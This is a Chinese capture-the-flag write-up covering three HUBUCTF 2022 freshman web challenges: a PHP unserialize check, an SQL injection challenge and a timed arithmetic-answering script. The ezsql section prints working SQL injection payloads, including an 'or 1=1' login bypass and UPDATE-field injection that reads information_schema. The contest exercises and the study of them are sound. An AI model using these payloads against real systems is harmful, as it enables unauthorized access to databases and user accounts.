HUBUCTF 2022新生赛Writeup
既然是母校,那一定要好好对待~ 2024-01-13 22:42:34
WEB [HUBUCTF 2022 新生赛]checkin
题目链接:checkin
原题
<?php
show_source(__FILE__);
$username = "this_is_secret";
$password = "this_is_not_known_to_you";
include("flag.php");//here I changed those two
$info = isset($_GET['info'])? $_GET['info']: "" ;
$data_unserialize = unserialize($info);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
?>
username or password error!
一道字符串反序列化的题,相关构造就可以。
$info=['username'=>"this_is_secret",'password'=>"this_is_not_known_to_you"];
echo urlencode(serialize($info));
?>
NSSCTF{df0b1d5c-d3e8-426d-887a-3eabe68f61bb}web [HUBUCTF 2022 新生赛]ezsql
原题链接:easysql


经过测试admin" or 1=1--+注册后,可以直接进去,但是翻遍了没有一点信息,应该是覆盖了原来的信息,目录遍历一下吧。

看到了www.tar.gz,源码泄露

好多源码,代码审计!
查看update.php,
$query=$mysqli->query("update users set age=$_POST[age],nickname='$_POST[nickname]',description='$_POST[description]' where id=$_SESSION[id]");
我们只要在中间加上password=***,token置空,就能更改password了。

改完还是不行,估计密码不是明文存储。这个输入点还可以直接使用sql语句,注意我的问题,这么写肯定是错的。
foreach($_POST as $key=>$value){ $_POST[$key]=addslashes($value);} update.php中也有这句话,它将双引号单引号都过滤了。注入点为什么在age呢,因为age必须是整数,那么他就可能将是双引号去掉了!。


得到数据库名demo2
nickname=(select 1)&age=(select 1),description=(select group_concat(table_name) from information_schema.tables where table_schema=database())#&token=4b29f27a4354d745055045c0c7c97891
得到表名:user.注意每次的sessionid都不一样,不能重放。
nickname=1&age=(select 1),description=(select group_concat(column_name) from information_schema.columns where table_name=0x7573657273)#&token=3e9be9bb4eb8225f70379a9c57cd83b5
之后用表名查列名,但是我不知道表名为什么非要用16进制,就像下面的图一样,总之,最后然后获取密码,重开环境。

[HUBUCTF 2022 新生赛]Calculate

意思很明显,编写脚本。先抓个包,cookie是必须带的


参考https://blog.csdn.net/Jayjay___/article/details/134805314, 个人进行了改进。
# -*- coding:utf-8 -*-
"""
作者:Wang Xinwei
日期:2024年01月18日
"""
import requests
import time
import re
url = 'http://node5.anna.nssctf.cn:28169/'
res = requests.session() #创建session对象,用来保存当前会话的持续有效性。不创建也可以调用对应的方法发送请求,但是没有cookie,那就无法记录答题数量。
for i in range(1, 21):
print(f"正在执行第{i}次------")
math = ""
response = res.get(url) #发get包,获取题目
resTest = response.text #获取返回包的内容
li=re.findall(">([0-9*/+-])<",resTest)
math="".join(li)
print(math)
num = eval(math) #计算数学表达式的值
myData = { #构造的POST数据
'ans': num
}
time.sleep(1) # 睡一秒
response = res.post(url, data=myData) #发post包,提交答案
if "NSSCTF{" in response.text: #如果返回包里面有flag
print("Flaggggggggg: ", response.text)
exit() # 退出当前程序,也可以break
HUBUCTF 2022新生赛Writeup的更多相关文章
- SCNU ACM 2016新生赛初赛 解题报告
新生初赛题目.解题思路.参考代码一览 1001. 无聊的日常 Problem Description 两位小朋友小A和小B无聊时玩了个游戏,在限定时间内说出一排数字,那边说出的数大就赢,你的工作是帮他 ...
- SCNU 2015ACM新生赛决赛【F. Oyk闯机关】解题报告
题目大意:一个$N$$\times$$N$的阵列,每个格子有$X_{ij}$个调和之音,若每次只能选择走右边或下边,从左上角出发走到右下角,问最多能收集到多少个调和之音? ...
- Codeforces 801 A.Vicious Keyboard & Jxnu Group Programming Ladder Tournament 2017江西师大新生赛 L1-2.叶神的字符串
A. Vicious Keyboard time limit per test 2 seconds memory limit per test 256 megabytes input standard ...
- [ACTF2020 新生赛]BackupFile && [ACTF2020 新生赛]Upload &&[GYCTF2020]Blacklist
[ACTF2020 新生赛]BackupFile 尝试找到源代码,加上题目是备份文件,猜测备份文件里面有网站的源代码,御剑扫描一下,就扫到index.php 访问index.php.bak 下载源代码 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]Oruga
[ACTF新生赛2020]Oruga 附件 步骤: 例行检查,64位程序,无壳 64位ida载入,检索字符串,根据提示来到关键函数 14行~18行就是让字符串的前5位是 actf{ ,sub_78A( ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]usualCrypt
[ACTF新生赛2020]usualCrypt 附件 步骤: 例行检查,无壳,32位程序 32位ida载入,直接看main函数 逻辑很简单,一开始让我们输入一个字符串,然后该字符串经过sub_4010 ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]rome
[ACTF新生赛2020]rome 附件 步骤 无壳,32位程序 32位ida载入,根据提示字符串"You are correct!",找到关键函数func v15 = 'Q'; ...
- [BUUCTF]REVERSE——[ACTF新生赛2020]easyre
[ACTF新生赛2020]easyre 附件 步骤 查壳,32位程序,upx壳儿 脱完壳儿,扔进ida 分析 一开始给我们定义了一个数组, v4=[42,70,39,34,78,44,34,40,73 ...
- GDOU-CTF-2023新生赛Pwn题解与反思
第一次参加CTF新生赛总结与反思 因为昨天学校那边要进行天梯模拟赛,所以被拉过去了.16点30分结束,就跑回来宿舍开始写.第一题和第二题一下子getshell,不用30分钟,可能我没想那么多,对比网上 ...
- SCNU ACM 2016新生赛决赛 解题报告
新生初赛题目.解题思路.参考代码一览 A. 拒绝虐狗 Problem Description CZJ 去排队打饭的时候看到前面有几对情侣秀恩爱,作为单身狗的 CZJ 表示很难受. 现在给出一个字符串代 ...
随机推荐
- 没有苹果开发者账号能否创建ios证书-最新
摘要: 本文介绍了在没有Mac电脑的情况下,使用appuploader工具生成iOS证书和描述文件的方法.随着大前端和H5框架的热门话题,越来越多的人希望将H5应用打包成iOS应用.苹果官方提供的 ...
- MappedByteBuffer 写文件
MappedByteBuffer中"put"和"force"的区别是什么 put()将数据存储在缓冲区中,force()通知操作系统将缓冲区刷新到磁盘. put ...
- Google Guava ListeningExecutorService
POM <!-- https://mvnrepository.com/artifact/com.google.guava/guava --> <dependency> < ...
- 备份批处理文件 bat 生成 date 取年时,只取到周
备份数据库文件时,发现MySQL备份生成的文件名为 [vipsoft_周三],发现是系统的日期格式问题.需调整日期格式,生成 [vipsoft_20220601.sql] mysqldump -uro ...
- 基于C++11特性的线程池
写在前面:本文学习自基于C++11实现线程池,代码部分均属于该博主,自己只是想记录以下自己的认知,并以这种方式加深一下自己对于多线程的理解 1 前置知识 RAII管理机制 简单来说RAII机制是一种对 ...
- 为什么加了@Transactional注解,事务没有回滚?
在昨天的<事务管理入门>一文发布之后,有读者联系说根据文章尝试,加了@Transactional注解之后,事务并没有回滚.经过一顿沟通排查之后,找到了原因,在此记录一下,给后面如果碰到类似 ...
- SpringCloud学习 系列十、服务熔断与降级(1-简介)
系列导航 SpringCloud学习 系列一. 前言-为什么要学习微服务 SpringCloud学习 系列二. 简介 SpringCloud学习 系列三. 创建一个没有使用springCloud的服务 ...
- 如何安全的大数据量表在线进行DDL操作
本文为博主原创,转载请注明出处 随着业务的需要,工作中需要对生产数据库的一些表做一些DDL操作,由于生产数据库表的数据量都是几千万, 而且生产数据库的表还在不断的进行新增和查询操作.应用中需要对生产数 ...
- [java] - servlet路径跳转
Index.jsp <a href="servlet/HelloServlet">servlet/HelloServlet</a><br> &l ...
- Go-基本类型-int-float-bool-byte-rune